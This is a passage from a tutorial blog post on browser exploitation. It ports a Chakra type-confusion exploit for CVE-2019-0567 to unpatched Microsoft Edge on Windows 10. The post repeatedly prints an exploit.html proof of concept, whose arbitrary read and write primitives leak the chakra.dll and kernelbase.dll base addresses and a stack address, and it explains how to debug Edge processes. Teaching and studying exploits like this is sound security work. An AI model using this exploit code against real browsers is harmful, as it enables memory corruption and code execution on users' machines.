RSS Amplifier

Connor McGarr’s Blog · Apr 7, 2022

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 3)

0
Sign in to vote or save

This page cannot be shown here. You can still read it on the original site — the toolbar below keeps your place in the directory.

Porting part 2's ChakraCore exploit to Microsoft Edge while defeating ASLR, DEP, CFG, ACG, CIG, and other mitigations.

Introduction

In part one of this blog series on “modern” browser exploitation, targeting Windows, we took a look at how JavaScript manages objects in memory via the Chakra/ChakraCore JavaScript engine and saw how type confusion vulnerabilities arise. In part two we took a look at Chakra/ChakraCore exploit primitives and turning our type confusion proof-of-concept into a working exploit on ChakraCore, while dealing with ASLR, DEP, and CFG. In part three, this post, we will close out this series by making a few minor tweaks to our exploit primitives to go from ChakraCore to Chakra (the closed-source version of ChakraCore which Microsoft Edge runs on in various versions of Windows 10). After porting our exploit primitives to Edge, we will then gain full code execution while bypassing Arbitrary Code Guard (ACG), Code Integrity Guard (CIG), and other minor mitigations in Edge, most notably “no child processes” in Edge. The final result will be a working exploit that can gain code execution with ASLR, DEP, CFG, ACG, CIG, and other mitigations enabled.

From ChakraCore to Chakra

Since we already have a working exploit for ChakraCore, we now need to port it to Edge. As we know, Chakra (Edge) is the “closed-source” variant of ChakraCore. There are not many differences between how our exploits will look (in terms of exploit primitives). The only thing we need to do is update a few of the offsets from our ChakraCore exploit to be compliant with the version of Edge we are exploiting. Again, as mentioned in part one, we will be using an UNPATCHED version of Windows 10 1703 (RS2). Below is an output of winver.exe, which shows the build number (15063.0) we are using. The version of Edge we are using has no patches and no service packs installed.

Moving on, below you can find the code that we will be using as a template for our exploitation. We will name this file exploit.html and save it to our Desktop (feel free to save it anywhere you would like).

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>
<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read
    // Return the array
    return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;
    let tmp = {__proto__: proto};
    o.a = value;
}
// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }
    let o = {a: 1, b: 2};
    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj
    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;
    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;
    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);
    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);
    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
}
</script>

Nothing about this code differs in the slightest from our previous exploit.js code, except for the fact we are now using an HTML, as obviously this is the type of file Edge expects as it’s a web browser. This also means that we have replaced print() functions with proper document.write() HTML methods in order to print our exploit output to the screen. We have also added a <script></script> tag to allow us to execute our malicious JavaScript in the browser. Additionally, we added functionality in the <button onclick="main()">Click me to exploit CVE-2019-0567!</button> line, where our exploit won’t be executed as soon as the web page is opened. Instead, this button allows us choose when we want to detonate our exploit. This will aid us in debugging as we will see shortly.

Once we have saved exploit.html, we can double-click on it and select Microsoft Edge as the application we want to open it with. From there, we should be presented with our Click me to exploit CVE-2019-0567 button.

After we have loaded the web page, we can then click on the button to run the code presented above for exploit.html.

As we can see, everything works as expected (per our post number two in this blog series) and we leak the vftable from one of our DataView objects, from our exploit primitive, which is a pointer into chakra.dll. However, as we are exploiting Edge itself now and not the ChakraCore engine, computation of the base address of chakra.dll will be slightly different. To do this, we need to debug Microsoft Edge in order to compute the distance between our leaked address and chakra.dll’s base address. With that said, we will need to talk about debugging Edge in order to compute the base address of chakra.dll.

We will begin by making use of Process Hacker to aid in our debugging. After downloading Process Hacker, we can go ahead and start it.

After starting Process Hacker, let’s go ahead and re-open exploit.html but do not click on the Click me to exploit CVE-2019-0567 button yet.

Coming back to Process Hacker, we can see two MicrosoftEdgeCP.exe processes and a MicrosoftEdge.exe process.

Where do these various processes come from? As the CP in MicrosoftEdgeCP.exe infers, these are Microsoft Edge content processes. A content process, also known as a renderer process, is the actual component of the browser which executes the JavaScript, HTML, and CSS code a user interfaces with. In this case, we can see two MicrosoftEdgeCP.exe processes. One of these processes refers to the actual content we are seeing (the actual exploit.html web page). The other MicrosoftEdgeCP.exe process is technically not a content process, per se, and is actually the out-of-process JIT server which we talked about previously in this blog series. What does this actually mean?

JIT’d code is code that is generated as readable, writable, and executable (RWX). This is also known as “dynamic code” which is generated at runtime, and it doesn’t exist when the Microsoft Edge processes are spawned. We will talk about Arbitrary Code Guard (ACG) in a bit, but at a high level ACG prohibits any dynamic code (amongst other nuances we will speak of at the appropriate time) from being generated which is readable, writable, and executable (RWX). Since ACG is a mitigation, which was actually developed with browser exploitation and Edge in mind, there is a slight usability issue. Since JIT’d code is a massive component of a modern day browser, this automatically makes ACG incompatible with Edge. If ACG is enabled, then how can JIT’d code be generated, as it is RWX? The solution to this problem is by leveraging an out-of-process JIT server (located in the second MicrosoftEdgeCP.exe process).

This JIT server process has Arbitrary Code Guard disabled. The reason for this is because the JIT process doesn’t handle any execution of “untrusted” JavaScript code - meaning the JIT server can’t really be exploited by browser exploitation-related primitives, like a type confusion vulnerability (we will prove this assumption false with our ACG bypass). The reason is that since the JIT process doesn’t execute any of that JavaScript, HTML, or CSS code, meaning we can infer the JIT server doesn’t handled any “untrusted code”, a.k.a JavaScript provided by a given web page, we can infer that any code running within the JIT server is “trusted” code and therefore we don’t need to place “unnecessary constraints” on the process. With the out-of-process JIT server having no ACG-enablement, this means the JIT server process is now compatible with “JIT” and can generate the needed RWX code that JIT requires. The main issue, however, is how do we get this code (which is currently in a separate process) into the appropriate content process where it will actually be executed?

The way this works is that the out-of-process JIT server will actually take any JIT’d code that needs to be executed, and it will inject it into the content processes that contain the JavaScript code to be executed with proper permissions that are ACG complaint (generally readable/executable). So, at a high level, this out-of-process JIT server performs process injection to map the JIT’d code into the content processes (which has ACG enabled). This allows the Edge content processes, which are responsible for handling untrusted code like a web page that hosts malicious JavaScript to perform memory corruption (e.g. exploit.html), to have full ACG support.

Lastly, we have the MicrosoftEdge.exe process which is known as the browser process. It is the “main” process which helps to manage things like network requests and file access.

Armed with the above information, let’s now turn our attention back to Process Hacker.

The obvious point we can make is that when we do our exploit debugging, we know the content process is responsible for execution of the JavaScript code within our web page - meaning that it is the process we need to debug as it will be responsible for execution of our exploit. However, since the out-of-process JIT server is technically named as a content process, this makes for two instances of MicrosoftEdgeCP.exe. How do we know which is the out-of-process JIT server and which is the actual content process? This probably isn’t the best way to tell, but the way I figured this out with approximately 100% accuracy is by looking at the two content processes (MicrosoftEdgeCP.exe) and determining which one uses up more RAM. In my testing, the process which uses up more RAM is the target process for debugging (as it is significantly more, and makes sense as the content process has to load JavaScript, HTML, and CSS code into memory for execution). With that in mind, we can break down the process tree as such (based on the Process Hacker image above):

  1. MicrosoftEdge.exe - PID 3740 (browser process)
  2. MicrosoftEdgeCP.exe - PID 2668 (out-of-process JIT server)
  3. MicrosoftEdgeCP.exe - PID 2512 (content process - our “exploiting process” we want to debug).

With the aforementioned knowledge we can attach PID 2512 (our content process, which will likely differ on your machine) to WinDbg and know that this is the process responsible for execution of our JavaScript code. More importantly, this process loads the Chakra JavaScript engine DLL, chakra.dll.

After confirming chakra.dll is loaded into the process space, we then can click out Click me to exploit CVE-2019-0567 button (you may have to click it twice). This will run our exploit, and from here we can calculate the distance to chakra.dll in order to compute the base of chakra.dll.

As we can see above, the leaked vftable pointer is 0x5d0bf8 bytes away from chakra.dll. We can then update our exploit script to the following code, and confirm this to be the case.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>
<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read
    // Return the array
    return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;
    let tmp = {__proto__: proto};
    o.a = value;
}
// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }
    let o = {a: 1, b: 2};
    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj
    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;
    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;
    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);
    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);
    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;
    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");
}
</script>

After computing the base address of chakra.dll the next thing we need to do is, as shown in part two, leak an import address table (IAT) entry that points to kernel32.dll (in this case kernelbase.dll, which contains all of the functionality of kernel32.dll).

Using the same debugging session, or a new one if you prefer (following the aforementioned steps to locate the content process), we can locate the IAT for chakra.dll with the !dh command.

If we dive a bit deeper into the IAT, we can see there are several pointers to kernelbase.dll, which contains many of the important APIs such as VirtualProtect we need to bypass DEP and ACG. Specifically, for our exploit, we will go ahead and extract the pointer to kernelbase!DuplicateHandle as our kernelbase.dll leak, as we will need this API in the future for our ACG bypass.

What this means is that we can use our read primitive to read what chakra_base+0x5ee2b8 points to (which is a pointer into kernelbase.dll). We then can compute the base address of kernelbase.dll by subtracting the offset to DuplicateHandle from the base of kernelbase.dll in the debugger.

We now know that DuplicateHandle is 0x18de0 bytes away from kernelbase.dll’s base address. Armed with the following information, we can update exploit.html as follows and detonate it.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>
<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read
    // Return the array
    return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;
    let tmp = {__proto__: proto};
    o.a = value;
}
// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }
    let o = {a: 1, b: 2};
    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj
    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;
    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;
    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);
    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);
    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;
    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");
    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);
    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];
    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];
    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");
}
</script>

We are now almost done porting our exploit primitives to Edge from ChakraCore. As we can recall from our ChakraCore exploit, the last thing we need to do now is leak a stack address/the stack in order to bypass CFG for control-flow hijacking and code execution.

Recall that this information derives from this Google Project Zero issue. As we can recall with our ChakraCore exploit, we computed these offsets in WinDbg and determined that ChakraCore leveraged slightly different offsets. However, since we are now targeting Edge, we can update the offsets to those mentioned by Ivan Fratric in this issue.

However, even though the type->scriptContext->threadContext offsets will be the ones mentioned in the Project Zero issue, the stack address offset is slightly different. We will go ahead and debug this with alert() statements.

We know we have to leak a type pointer (which we already have stored in exploit.html the same way as part two of this blog series) in order to leak a stack address. Let’s update our exploit.html with a few items to aid in our debugging for leaking a stack address.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>
<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read
    // Return the array
    return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;
    let tmp = {__proto__: proto};
    o.a = value;
}
// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }
    let o = {a: 1, b: 2};
    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj
    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;
    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;
    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);
    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);
    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;
    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");
    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);
    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-x18de0;
    kernelbaseHigh = kernelbaseLeak[1];
    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];
    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");
    // ---------------------------------------------------------------------------------------------
    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");
    // Spawn an alert dialogue to pause execution
    alert("DEBUG");
}
</script>

As we can see, we have added a document.write() call to print out the address of our type pointer (from which we will leak a stack address) and then we also added an alert() call to create an “alert” dialogue. Since JavaScript will use temporary virtual memory (e.g. memory that isn’t really backed by disk in the form of a 0x7fff address that is backed by a loaded DLL) for objects, this address is only “consistent” for the duration of the process. Think of this in terms of ASLR - when, on Windows, you reboot the system, you can expect images to be loaded at different addresses. This is synonymous with the longevity of the address/address space used for JavaScript objects, except that it is on a “per-script basis” and not a per-boot basis (“per-script” basis is a made-up word by myself to represent the fact the address of a JavaScript object will change after each time the JavaScript code is ran). This is the reason we have the document.write() call and alert() call. The document.write() call will give us the address of our type object, and the alert() dialogue will actually work, in essence, like a breakpoint in that it will pause execution of JavaScript, HTML, or CSS code until the “alert” dialogue has been dealt with. In other words, the JavaScript code cannot be fully executed until the dialogue is dealt with, meaning all of the JavaScript code is loaded into the content process and cannot be released until it is dealt with. This will allow us examine the type pointer before it goes out of scope, and so we can examine it. We will use this same “setup” (e.g. alert() calls) to our advantage in debugging in the future.

If we run our exploit two separate times, we can confirm our theory about the type pointer changing addresses each time the JavaScript executes

Now, for “real” this time, let’s open up exploit.html in Edge and click the Click me to exploit CVE-2019-0567 button. This should bring up our “alert” dialogue.

As we can see, the type pointer is located at 0x1ca40d69100 (note you won’t be able to use copy and paste with the dialogue available, so you will have to manually type this value). Now that we know the address of the type pointer, we can use Process Hacker to locate our content process.

As we can see, the content process which uses the most RAM is PID 6464. This is our content process, where our exploit is currently executing (although paused). We now can use WinDbg to attach to the process and examine the memory contents of 0x1ca40d69100.

After inspecting the memory contents, we can confirm that this is a valid address - meaning our type pointer hasn’t gone out of scope! Although a bit of an arduous process, this is how we can successfully debug Edge for our exploit development!

Using the Project Zero issue as a guide, and leveraging the process outlined in part two of this blog series, we can talk various pointers within this structure to fetch a stack address!

The Google Project Zero issue explains that we essentially can just walk the type pointer to extract a ScriptContext structure which, in turn, contains ThreadContext. The ThreadContext structure is responsible, as we have seen, for storing various stack addresses. Here are the offsets:

  1. type + 0x8 = JavaScriptLibrary
  2. JavaScriptLibrary + 0x430 = ScriptContext
  3. ScriptContext + 0x5c0 = ThreadContext

In our case, the ThreadContext structure is located at 0x1ca3d72a000.

Previously, we leaked the stackLimitForCurrentThread member of ThreadContext, which gave us essentially the stack limit for the exploiting thread. However, take a look at this address within Edge (located at ThreadContext + 0x4f0)

If we try to examine the memory contents of this address, we can see they are not committed to memory. This obviously means this address doesn’t fall within the bounds of the TEB’s known stack address(es) for our current thread.

As we can recall from part two, this was also the case. However, in ChakraCore, we could compute the offset from the leaked stackLimitForCurrentThread consistently between exploit attempts. Let’s compute the distance from our leaked stackLimitForCurrentThread with the actual stack limit from the TEB.

Here, at this point in the exploit, the leaked stack address is 0x1cf0000 bytes away from the actual stack limit we leaked via the TEB. Let’s exit out of WinDbg and re-run our exploit, while also leaking our stack address within WinDbg.

Our type pointer is located at 0x157acb19100.

After attaching Edge to WinDbg and walking the type object, we can see our leaked stack address via stackLimitForCurrentThread.

As we can see above, when computing the offset, our offset has changed to being 0x1c90000 bytes away from the actual stack limit. This poses a problem for us, as we cannot reliable compute the offset to the stack limit. Since the stack limit saved in the ThreadContext structure (stackForCurrentThreadLimit) is not committed to memory, we will actually get an access violation when attempting to dereference this memory. This means our exploit would be killed, meaning we also can’t “guess” the offset if we want our exploit to be reliable.

Before I pose the solution, I wanted to touch on something I first tried. Within the ThreadContext structure, there is a global variable named globalListFirst. This seems to be a linked-list within a ThreadContext structure which is used to track other instances of a ThreadContext structure. At an offset of 0x10 within this list (consistently, I found, in every attempt I made) there is actually a pointer to the heap.

Since it is possible via stackLimitForCurrentThread to at least leak an address around the current stack limit (with the upper 32-bits being the same across all stack addresses), and although there is a degree of variance between the offset from stackLimitForCurrentThread and the actual current stack limit (around 0x1cX0000 bytes as we saw between our two stack leak attempts), I used my knowledge of the heap to do the following:

  1. Leak the heap from chakra!ThreadContext::globalListFirst
  2. Using the read primitive, scan the heap for any stack addresses that are greater than the leaked stack address from stackLimitForCurrentThread

I found that about 50-60% of the time I could reliably leak a stack address from the heap. From there, about 50% of the time the stack address that was leaked from the heap was committed to memory. However, there was a varying degree of “failing” - meaning I would often get an access violation on the leaked stack address from the heap. Although I was only succeeding in about half of the exploit attempts, this is significantly greater than trying to “guess” the offset from the stackLimitForCurrenThread. However, after I got frustrated with this, I saw there was a much easier approach.

The reason why I didn’t take this approach earlier, is because the stackLimitForCurrentThread seemed to be from a thread stack which was no longer in memory. This can be seen below.

Looking at the above image, we can see only one active thread has a stack address that is anywhere near stackLimitForCurrentThread. However, if we look at the TEB for the single thread, the stack address we are leaking doesn’t fall anywhere within that range. This was disheartening for me, as I assumed any stack address I leaked from this ThreadContext structure was from a thread which was no longer active and, thus, its stack address space being decommitted. However, in the Google Project Zero issue - stackLimitForCurrentThread wasn’t the item leaked, it was leafInterpreterFrame. Since I had enjoyed success with stackLimitForCurrentThread in part two of this blog series, it didn’t cross my mind until much later to investigate this specific member.

If we take a look at the ThreadContext structure, we can see that at offset 0x8f0 that there is a stack address.

In fact, we can see two stack addresses. Both of them are committed to memory, as well!

If we compare this to Ivan’s findings in the Project Zero issue, we can see that he leaks two stack addresses at offset 0x8a0 and 0x8a8, just like we have leaked them at 0x8f0 and 0x8f8. We can therefore infer that these are the same stack addresses from the leafInterpreter member of ThreadContext, and that we are likely on a different version of Windows that Ivan, which likely means a different version of Edge and, thus, the slight difference in offset. For our exploit, you can choose either of these addresses. I opted for ThreadContext + 0x8f8.

Additionally, if we look at the address itself (0x1c2affaf60), we can see that this address doesn’t reside within the current thread.

However, we can clearly see that not only is this thread committed to memory, it is within the known bounds of another thread’s TEB tracking of the stack (note that the below diagram is confusing because the columns are unaligned. We are outlining the stack base and limit).

This means we can reliably locate a stack address for a currently executing thread! It is perfectly okay if we end up hijacking a return address within another thread because as we have the ability to read/write anywhere within the process space, and because the level of “private” address space Windows uses is on a per-process basis, we can still hijack any thread from the current process. In essence, it is perfectly valid to corrupt a return address on another thread to gain code execution. The “lower level details” are abstracted away from us when it comes to this concept, because regardless of what return address we overwrite, or when the thread terminates, it will have to return control-flow somewhere in memory. Since threads are constantly executing functions, we know that at some point the thread we are dealing with will receive priority for execution and the return address will be executed. If this makes no sense, do not worry. Our concept hasn’t changed in terms of overwriting a return address (be it in the current thread or another thread). We are not changing anything, from a foundational perspective, in terms of our stack leak and return address corruption between this blog post and part two of this blog series.

With that being said, here is how our exploit now looks with our stack leak.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>
<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
